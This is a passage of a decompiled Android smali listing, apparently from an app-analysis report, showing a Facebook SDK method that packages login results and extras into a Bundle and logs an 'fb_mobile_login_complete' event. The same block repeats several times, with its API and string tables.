                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
